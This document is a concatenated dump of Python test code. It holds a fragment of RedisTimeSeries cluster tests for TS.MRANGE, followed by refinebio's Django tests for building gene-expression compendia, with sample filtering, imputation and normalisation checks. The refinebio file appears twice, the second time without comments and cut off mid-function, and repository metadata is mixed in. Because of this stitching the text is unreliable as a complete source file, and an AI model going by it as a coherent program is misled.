env.assertEqual(serie_ts[0][0],2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_non_local_filtered_labels(): env = Env() with env.getClusterConnectionIfNeeded() as r: r.execute_command('TS.ADD', '{host1}_metric_1', 1 ,100, 'LABELS', 'metric', 'cpu', '') r.execute_command('TS.ADD', '{host1}_metric_2', 2 ,40, 'LABELS', 'metric', 'cpu') r.execute_command('TS.ADD', '{host1}_metric_1', 2, 95) r.execute_command('TS.ADD', '{host1}_metric_1', 10, 99) previous_results = [] for shard in range(0, env.shardsCount): shard_conn = env.getConnection(shard) actual_result = shard_conn.execute_command('TS.MRANGE - + FILTER_BY_TS 2 SELECTED_LABELS metric FILTER metric=cpu') env.assertEqual(len(actual_result),2) for previous_result in previous_results: ensure_replies_series_match(env,previous_result,actual_result) previous_results.append(actual_result) def test_mrange_align(): start_ts = 1511885909 samples_count = 50 with Env(decodeResponses=True).getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 'LABELS', 'name', 'rudy', 'class', 'junior', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester3', 'LABELS', 'name', 'fabi', 'class', 'top', 'generation', 'x') _insert_data(r, 'tester1', start_ts, samples_count, 5) _insert_data(r, 'tester2', start_ts, samples_count, 15) _insert_data(r, 'tester3', start_ts, samples_count, 25) end_ts = start_ts + samples_count agg_bucket_size = 15 expected_start_result = [ ['tester1', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ['tester2', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ['tester3', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, start_ts)], ] expected_end_result = [ ['tester1', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ['tester2', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ['tester3', [], build_expected_aligned_data(start_ts, start_ts + samples_count, agg_bucket_size, end_ts)], ] assert expected_start_result == decode_if_needed(sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '-', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x'))) assert expected_end_result == decode_if_needed(sorted(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '+', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x'))) def groupby(data): result = defaultdict(lambda: 0) for key, labels, samples in data: for sample in samples: result[sample[0]] = max(result[sample[0]], int(sample[1])) return [[s[0], str(s[1])] for s in result.items()] expected_groupby_start_result = [['generation=x', [], groupby(expected_start_result)]] expected_groupby_end_result = [['generation=x', [], groupby(expected_end_result)]] assert expected_groupby_start_result == decode_if_needed(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '-', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x', 'GROUPBY', 'generation', 'REDUCE', 'max')) assert expected_groupby_end_result == decode_if_needed(r.execute_command('TS.mrange', start_ts, start_ts + samples_count, 'ALIGN', '+', 'AGGREGATION', 'COUNT', agg_bucket_size, 'FILTER', 'generation=x', 'GROUPBY', 'generation', 'REDUCE', 'max'))

true

1c4234181841813e745a8ada5c9d0aa53e8be2dc

24,222

py

Python

workers/data_refinery_workers/processors/test_compendia.py

AlexsLemonade/refinebio

52f44947f902adedaccf270d5f9dbd56ab47e40a

[ "BSD-3-Clause" ]

106

2018-03-05T16:24:47.000Z

2022-03-19T19:12:25.000Z

workers/data_refinery_workers/processors/test_compendia.py

AlexsLemonade/refinebio

52f44947f902adedaccf270d5f9dbd56ab47e40a

[ "BSD-3-Clause" ]

1,494

2018-02-27T17:02:21.000Z

2022-03-24T15:10:30.000Z

workers/data_refinery_workers/processors/test_compendia.py

AlexsLemonade/refinebio

52f44947f902adedaccf270d5f9dbd56ab47e40a

[ "BSD-3-Clause" ]

15

2019-02-03T01:34:59.000Z

2022-03-29T01:59:13.000Z

import copy import itertools import json import math import os import random import zipfile from typing import Dict from django.test import TransactionTestCase, tag import numpy as np import pandas as pd from data_refinery_common.enums import PipelineEnum, ProcessorPipeline from data_refinery_common.models import ( ComputationalResult, ComputationalResultAnnotation, ComputedFile, Dataset, Experiment, ExperimentSampleAssociation, Organism, Pipeline, ProcessorJob, ProcessorJobDatasetAssociation, Sample, SampleComputedFileAssociation, SampleResultAssociation, ) from data_refinery_workers.processors import create_compendia, utils from data_refinery_workers.processors.testing_utils import ProcessorJobTestCaseMixin def create_sample_for_experiment(sample_info: Dict, experiment: Experiment) -> Sample: result = ComputationalResult() result.save() sample = Sample() sample.accession_code = sample_info["accession_code"] sample.title = sample_info.get("title", None) or sample_info["accession_code"] sample.organism = sample_info["organism"] sample.technology = sample_info["technology"] sample.save() sra = SampleResultAssociation() sra.sample = sample sra.result = result sra.save() esa = ExperimentSampleAssociation() esa.experiment = experiment esa.sample = sample esa.save() if sample_info.get("filename") is not None: computed_file = ComputedFile() computed_file.filename = sample_info["filename"] computed_file.absolute_file_path = sample_info["data_dir"] + sample_info["filename"] computed_file.result = result computed_file.size_in_bytes = 123 computed_file.is_smashable = True computed_file.save() assoc = SampleComputedFileAssociation() assoc.sample = sample assoc.computed_file = computed_file assoc.save() return sample class CompendiaTestCase(TransactionTestCase, ProcessorJobTestCaseMixin): @tag("compendia") def test_create_compendia(self): DATA_DIR = "/home/user/data_store/PCL/" job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() gallus_gallus = Organism.get_object_for_name("GALLUS_GALLUS", taxonomy_id=1001) # MICROARRAY TECH (experiment, _) = Experiment.objects.get_or_create(accession_code="GSE1487313") experiment.accession_code = "GSE1487313" experiment.save() create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "GSM1487313", "technology": "MICROARRAY", "filename": "GSM1487313_liver.PCL", "data_dir": DATA_DIR, }, experiment, ) # Missing sample that will be filtered create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "MICROARRAY", "filename": "GSM1487222_empty.PCL", "data_dir": DATA_DIR, }, experiment, ) # RNASEQ TECH experiment2 = Experiment() experiment2.accession_code = "SRP149598" experiment2.save() create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "SRR7250867", "technology": "RNA-SEQ", "filename": "SRP149598_gene_lengthScaledTPM.tsv", "data_dir": DATA_DIR, }, experiment, ) dset = Dataset() dset.data = { "GSE1487313": ["GSM1487313", "GSM1487222"], "SRP149598": ["SRR7250867"], } dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) # Because one of the samples is filtered out, there will be too few # remaining samples to smash together, so we expect this job to fail. self.assertFailed(job, "k must be between 1 and min(A.shape)") # check that sample with no computed file was skipped self.assertTrue("GSM1487222" in final_context["filtered_samples"]) self.assertEqual( final_context["filtered_samples"]["GSM1487222"]["experiment_accession_code"], "GSE1487313", ) @tag("compendia") def test_create_compendia_danio(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() # MICROARRAY TECH experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) experiment = Experiment() experiment.accession_code = "GSE5678" experiment.save() result = ComputationalResult() result.save() rnas = [] for file in os.listdir("/home/user/data_store/raw/TEST/RNASEQ/"): if "rnaseq.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "RNA-SEQ", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/RNASEQ/", }, experiment, ) rnas.append(file) # Missing sample that will be filtered sample = create_sample_for_experiment( { "organism": danio_rerio, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "RNA-SEQ", "filename": None, }, experiment, ) rnas.append(sample.accession_code) dset = Dataset() dset.data = {"GSE1234": micros, "GSE5678": rnas} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) self.assertSucceeded(job) # Verify result self.assertEqual(final_context["compendium_result"].result.computedfile_set.count(), 1) for file in final_context["compendium_result"].result.computedfile_set.all(): self.assertTrue(os.path.exists(file.absolute_file_path)) # test compendium_result self.assertEqual(final_context["compendium_result"].svd_algorithm, "ARPACK") self.assertEqual( final_context["compendium_result"].primary_organism.name, final_context["organism_name"], ) self.assertEqual(final_context["compendium_result"].primary_organism.name, "DANIO_RERIO") self.assertEqual(final_context["compendium_result"].organisms.count(), 1) self.assertEqual(len(final_context["filtered_samples"]), 10) # check that sample with no computed file was skipped self.assertTrue("GSM1487222" in final_context["filtered_samples"]) self.assertEqual( final_context["filtered_samples"]["GSM1487222"]["experiment_accession_code"], "GSE5678" ) self.assertIn( "This sample did not have a processed file", final_context["filtered_samples"]["GSM1487222"]["reason"], ) # check that the 9 files with lots of missing measurements were filtered self.assertEqual( len( list( filter( lambda x: "less than 50% present values" in x["reason"], final_context["filtered_samples"].values(), ) ) ), 9, ) zf = zipfile.ZipFile( final_context["compendium_result"].result.computedfile_set.first().absolute_file_path ) with zf.open("aggregated_metadata.json") as f: metadata = json.load(f) self.assertFalse(metadata.get("quant_sf_only")) self.assertEqual(metadata.get("compendium_version"), 1) # 420 microarray + 420 RNA seq # -1 that is filtered for a missing file # -9 that are filtered for having less than 50% present values self.assertEqual(metadata.get("num_samples"), 830) self.assertEqual(metadata.get("num_experiments"), 2) # Make sure the data were quantile normalized self.assertTrue(metadata.get("quantile_normalized")) self.assertIn("ks_statistic", final_context) self.assertIn("ks_pvalue", final_context) self.assertEqual(final_context["ks_pvalue"], 1.0) @tag("compendia") def test_create_compendia_microarray_only(self): """ Make sure that we can actually create a compendium with just microarray samples. """ job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() # MICROARRAY TECH experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) dset = Dataset() dset.data = {"GSE1234": micros} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) self.assertSucceeded(job) # Verify result self.assertEqual(final_context["compendium_result"].result.computedfile_set.count(), 1) for file in final_context["compendium_result"].result.computedfile_set.all(): self.assertTrue(os.path.exists(file.absolute_file_path)) # test compendium_result self.assertEqual(final_context["compendium_result"].svd_algorithm, "ARPACK") self.assertEqual( final_context["compendium_result"].primary_organism.name, final_context["organism_name"], ) self.assertEqual(final_context["compendium_result"].primary_organism.name, "DANIO_RERIO") self.assertEqual(final_context["compendium_result"].organisms.count(), 1) zf = zipfile.ZipFile( final_context["compendium_result"].result.computedfile_set.first().absolute_file_path ) with zf.open("aggregated_metadata.json") as f: metadata = json.load(f) self.assertFalse(metadata.get("quant_sf_only")) # 420 microarray self.assertEqual(metadata.get("num_samples"), 420) self.assertEqual(metadata.get("num_experiments"), 1) # Make sure the data were quantile normalized self.assertTrue(metadata.get("quantile_normalized")) self.assertIn("ks_statistic", final_context) self.assertIn("ks_pvalue", final_context) self.assertEqual(final_context["ks_pvalue"], 1.0) @tag("compendia") def test_filter_rnaseq_matrix_drop_row_sums(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() samples = list(str(i) for i in range(0, 10)) df = pd.DataFrame(columns=samples) for i in range(1, 101): df.loc[str(i)] = {idx: i for idx in samples} job_context = {"rnaseq_matrix": df, "job": job} final_job_context = create_compendia._filter_rnaseq_matrix(job_context) filtered_matrix = final_job_context["filtered_rnaseq_matrix"] # Make sure that we are getting rid of intermediate results # appropriately. Because these matrices can be pretty heavy, the input # should not stick around in the job context like this. self.assertNotIn("rnaseq_matrix", final_job_context.keys()) # We drop all rows below the 10th percentile in row sum, so we would # expect to drop rows 1 through 10 that we created above self.assertEqual(set(filtered_matrix.index), set(str(i) for i in range(11, 101))) @tag("compendia") def test_drop_samples(self): """Make sure that we drop samples with >50% missing values""" job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1) danio_rerio.save() experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() samples = list(str(i) for i in range(0, 10)) for i in samples: create_sample_for_experiment( {"organism": danio_rerio, "accession_code": i, "technology": "MICROARRAY"}, experiment, ) dset = Dataset() dset.data = {"GSE1234": "ALL"} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() df = pd.DataFrame(columns=samples) for i in range(1, 101): row_i = {idx: i for idx in samples} if i % 3 != 0 and i % 3 != 1: del row_i["0"] if i % 2 != 0: del row_i["1"] if i % 3 != 0: del row_i["2"] if i % 4 != 0: del row_i["3"] df.loc[str(i)] = row_i job_context = { "microarray_matrix": df, "job": job, "dataset": dset, # This key is added in the setup code, so we need to add it ourselves here "filtered_samples": {}, } job_context = create_compendia._full_outer_join_gene_matrices(job_context) final_job_context = create_compendia._filter_rows_and_columns(job_context) filtered_matrix = final_job_context["row_col_filtered_matrix"] # Columns 0 and 1 have missing data, but they should still have >= 50%. # Columns 2 and 3 are both missing >50% though, so they should be filtered. self.assertEqual(set(filtered_matrix.columns), {"0", "1"} | {str(i) for i in range(4, 10)}) self.assertEqual(set(final_job_context["filtered_samples"].keys()), {"2", "3"}) for v in final_job_context["filtered_samples"].values(): self.assertIn("less than 50% present", v["reason"]) @tag("compendia") def test_imputation(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() # MICROARRAY TECH experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) experiment = Experiment() experiment.accession_code = "GSE5678" experiment.save() result = ComputationalResult() result.save() rnas = [] for file in os.listdir("/home/user/data_store/raw/TEST/RNASEQ/"): if "rnaseq.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "RNA-SEQ", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/RNASEQ/", }, experiment, ) rnas.append(file) # Missing sample that will be filtered sample = create_sample_for_experiment( { "organism": danio_rerio, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "RNA-SEQ", "filename": None, }, experiment, ) rnas.append(sample.accession_code) dset = Dataset() dset.data = {"GSE1234": micros, "GSE5678": rnas} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() imputation_index = create_compendia.COMPENDIA_PIPELINE.index( create_compendia._perform_imputation ) pipeline = Pipeline(name=PipelineEnum.CREATE_COMPENDIA.value) job_context = utils.run_pipeline( {"job_id": job.id, "pipeline": pipeline}, create_compendia.COMPENDIA_PIPELINE[:imputation_index], ) # First, run the imputation step without removing anything to get a baseline expected_context = utils.run_pipeline( job_context.copy(), [create_compendia.COMPENDIA_PIPELINE[imputation_index]] ) # Now pick some rows to remove according to the instructions from # https://github.com/AlexsLemonade/refinebio/pull/2879#issuecomment-895143336 random.seed(42) # Select some rows randomly and mask a little bit less than 30% of the values rare_rows = random.sample(list(job_context["microarray_matrix"].index), k=25) rare_genes = {} for row in rare_rows: cols = random.sample( list(job_context["microarray_matrix"].columns), # There are around 840 samples, and we want to pick a little bit # less than 30% of them k=int(0.28 * 840), ) rare_genes[row] = cols for col in cols: job_context["microarray_matrix"].loc[row, col] = np.nan # Now randomly select some entries from the other rows to mask individual_indices = random.sample( list( itertools.product( set(job_context["microarray_matrix"].index) - set(rare_rows), job_context["microarray_matrix"].columns, ) ), k=1000, ) for row, col in individual_indices: job_context["microarray_matrix"].loc[row, col] = np.nan final_context = utils.run_pipeline( job_context, [create_compendia.COMPENDIA_PIPELINE[imputation_index]] ) self.assertDidNotFail(job) index = set(final_context["merged_no_qn"].index) & set( expected_context["merged_no_qn"].index ) columns = set(final_context["merged_no_qn"].columns) & set( expected_context["merged_no_qn"].columns ) # Calculate the Root-Mean-Square Error (RMSE) of the imputed values. # See https://en.wikipedia.org/wiki/Root-mean-square_deviation # for a description of the formula. N = 0 squared_error = 0 affected_entries = { *individual_indices, *((row, col) for row, cols in rare_genes.items() for col in cols), } for row, col in affected_entries: if row in index and col in columns: actual = final_context["merged_no_qn"].loc[row, col] expected = expected_context["merged_no_qn"].loc[row, col] N += 1 squared_error += (actual - expected) ** 2 rmse = math.sqrt(squared_error / N) # The results of a previous run plus a little bit of leeway self.assertLess(abs(rmse - 0.2868600293662542), 0.05)

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import copy import itertools import json import math import os import random import zipfile from typing import Dict from django.test import TransactionTestCase, tag import numpy as np import pandas as pd from data_refinery_common.enums import PipelineEnum, ProcessorPipeline from data_refinery_common.models import ( ComputationalResult, ComputationalResultAnnotation, ComputedFile, Dataset, Experiment, ExperimentSampleAssociation, Organism, Pipeline, ProcessorJob, ProcessorJobDatasetAssociation, Sample, SampleComputedFileAssociation, SampleResultAssociation, ) from data_refinery_workers.processors import create_compendia, utils from data_refinery_workers.processors.testing_utils import ProcessorJobTestCaseMixin def create_sample_for_experiment(sample_info: Dict, experiment: Experiment) -> Sample: result = ComputationalResult() result.save() sample = Sample() sample.accession_code = sample_info["accession_code"] sample.title = sample_info.get("title", None) or sample_info["accession_code"] sample.organism = sample_info["organism"] sample.technology = sample_info["technology"] sample.save() sra = SampleResultAssociation() sra.sample = sample sra.result = result sra.save() esa = ExperimentSampleAssociation() esa.experiment = experiment esa.sample = sample esa.save() if sample_info.get("filename") is not None: computed_file = ComputedFile() computed_file.filename = sample_info["filename"] computed_file.absolute_file_path = sample_info["data_dir"] + sample_info["filename"] computed_file.result = result computed_file.size_in_bytes = 123 computed_file.is_smashable = True computed_file.save() assoc = SampleComputedFileAssociation() assoc.sample = sample assoc.computed_file = computed_file assoc.save() return sample class CompendiaTestCase(TransactionTestCase, ProcessorJobTestCaseMixin): @tag("compendia") def test_create_compendia(self): DATA_DIR = "/home/user/data_store/PCL/" job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() gallus_gallus = Organism.get_object_for_name("GALLUS_GALLUS", taxonomy_id=1001) (experiment, _) = Experiment.objects.get_or_create(accession_code="GSE1487313") experiment.accession_code = "GSE1487313" experiment.save() create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "GSM1487313", "technology": "MICROARRAY", "filename": "GSM1487313_liver.PCL", "data_dir": DATA_DIR, }, experiment, ) create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "MICROARRAY", "filename": "GSM1487222_empty.PCL", "data_dir": DATA_DIR, }, experiment, ) experiment2 = Experiment() experiment2.accession_code = "SRP149598" experiment2.save() create_sample_for_experiment( { "organism": gallus_gallus, "accession_code": "SRR7250867", "technology": "RNA-SEQ", "filename": "SRP149598_gene_lengthScaledTPM.tsv", "data_dir": DATA_DIR, }, experiment, ) dset = Dataset() dset.data = { "GSE1487313": ["GSM1487313", "GSM1487222"], "SRP149598": ["SRR7250867"], } dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) self.assertFailed(job, "k must be between 1 and min(A.shape)") self.assertTrue("GSM1487222" in final_context["filtered_samples"]) self.assertEqual( final_context["filtered_samples"]["GSM1487222"]["experiment_accession_code"], "GSE1487313", ) @tag("compendia") def test_create_compendia_danio(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) experiment = Experiment() experiment.accession_code = "GSE5678" experiment.save() result = ComputationalResult() result.save() rnas = [] for file in os.listdir("/home/user/data_store/raw/TEST/RNASEQ/"): if "rnaseq.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "RNA-SEQ", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/RNASEQ/", }, experiment, ) rnas.append(file) sample = create_sample_for_experiment( { "organism": danio_rerio, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "RNA-SEQ", "filename": None, }, experiment, ) rnas.append(sample.accession_code) dset = Dataset() dset.data = {"GSE1234": micros, "GSE5678": rnas} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) self.assertSucceeded(job) self.assertEqual(final_context["compendium_result"].result.computedfile_set.count(), 1) for file in final_context["compendium_result"].result.computedfile_set.all(): self.assertTrue(os.path.exists(file.absolute_file_path)) self.assertEqual(final_context["compendium_result"].svd_algorithm, "ARPACK") self.assertEqual( final_context["compendium_result"].primary_organism.name, final_context["organism_name"], ) self.assertEqual(final_context["compendium_result"].primary_organism.name, "DANIO_RERIO") self.assertEqual(final_context["compendium_result"].organisms.count(), 1) self.assertEqual(len(final_context["filtered_samples"]), 10) self.assertTrue("GSM1487222" in final_context["filtered_samples"]) self.assertEqual( final_context["filtered_samples"]["GSM1487222"]["experiment_accession_code"], "GSE5678" ) self.assertIn( "This sample did not have a processed file", final_context["filtered_samples"]["GSM1487222"]["reason"], ) self.assertEqual( len( list( filter( lambda x: "less than 50% present values" in x["reason"], final_context["filtered_samples"].values(), ) ) ), 9, ) zf = zipfile.ZipFile( final_context["compendium_result"].result.computedfile_set.first().absolute_file_path ) with zf.open("aggregated_metadata.json") as f: metadata = json.load(f) self.assertFalse(metadata.get("quant_sf_only")) self.assertEqual(metadata.get("compendium_version"), 1) self.assertEqual(metadata.get("num_samples"), 830) self.assertEqual(metadata.get("num_experiments"), 2) self.assertTrue(metadata.get("quantile_normalized")) self.assertIn("ks_statistic", final_context) self.assertIn("ks_pvalue", final_context) self.assertEqual(final_context["ks_pvalue"], 1.0) @tag("compendia") def test_create_compendia_microarray_only(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) dset = Dataset() dset.data = {"GSE1234": micros} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() final_context = create_compendia.create_compendia(job.id) self.assertSucceeded(job) self.assertEqual(final_context["compendium_result"].result.computedfile_set.count(), 1) for file in final_context["compendium_result"].result.computedfile_set.all(): self.assertTrue(os.path.exists(file.absolute_file_path)) self.assertEqual(final_context["compendium_result"].svd_algorithm, "ARPACK") self.assertEqual( final_context["compendium_result"].primary_organism.name, final_context["organism_name"], ) self.assertEqual(final_context["compendium_result"].primary_organism.name, "DANIO_RERIO") self.assertEqual(final_context["compendium_result"].organisms.count(), 1) zf = zipfile.ZipFile( final_context["compendium_result"].result.computedfile_set.first().absolute_file_path ) with zf.open("aggregated_metadata.json") as f: metadata = json.load(f) self.assertFalse(metadata.get("quant_sf_only")) self.assertEqual(metadata.get("num_samples"), 420) self.assertEqual(metadata.get("num_experiments"), 1) self.assertTrue(metadata.get("quantile_normalized")) self.assertIn("ks_statistic", final_context) self.assertIn("ks_pvalue", final_context) self.assertEqual(final_context["ks_pvalue"], 1.0) @tag("compendia") def test_filter_rnaseq_matrix_drop_row_sums(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() samples = list(str(i) for i in range(0, 10)) df = pd.DataFrame(columns=samples) for i in range(1, 101): df.loc[str(i)] = {idx: i for idx in samples} job_context = {"rnaseq_matrix": df, "job": job} final_job_context = create_compendia._filter_rnaseq_matrix(job_context) filtered_matrix = final_job_context["filtered_rnaseq_matrix"] self.assertNotIn("rnaseq_matrix", final_job_context.keys()) self.assertEqual(set(filtered_matrix.index), set(str(i) for i in range(11, 101))) @tag("compendia") def test_drop_samples(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1) danio_rerio.save() experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() samples = list(str(i) for i in range(0, 10)) for i in samples: create_sample_for_experiment( {"organism": danio_rerio, "accession_code": i, "technology": "MICROARRAY"}, experiment, ) dset = Dataset() dset.data = {"GSE1234": "ALL"} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() df = pd.DataFrame(columns=samples) for i in range(1, 101): row_i = {idx: i for idx in samples} if i % 3 != 0 and i % 3 != 1: del row_i["0"] if i % 2 != 0: del row_i["1"] if i % 3 != 0: del row_i["2"] if i % 4 != 0: del row_i["3"] 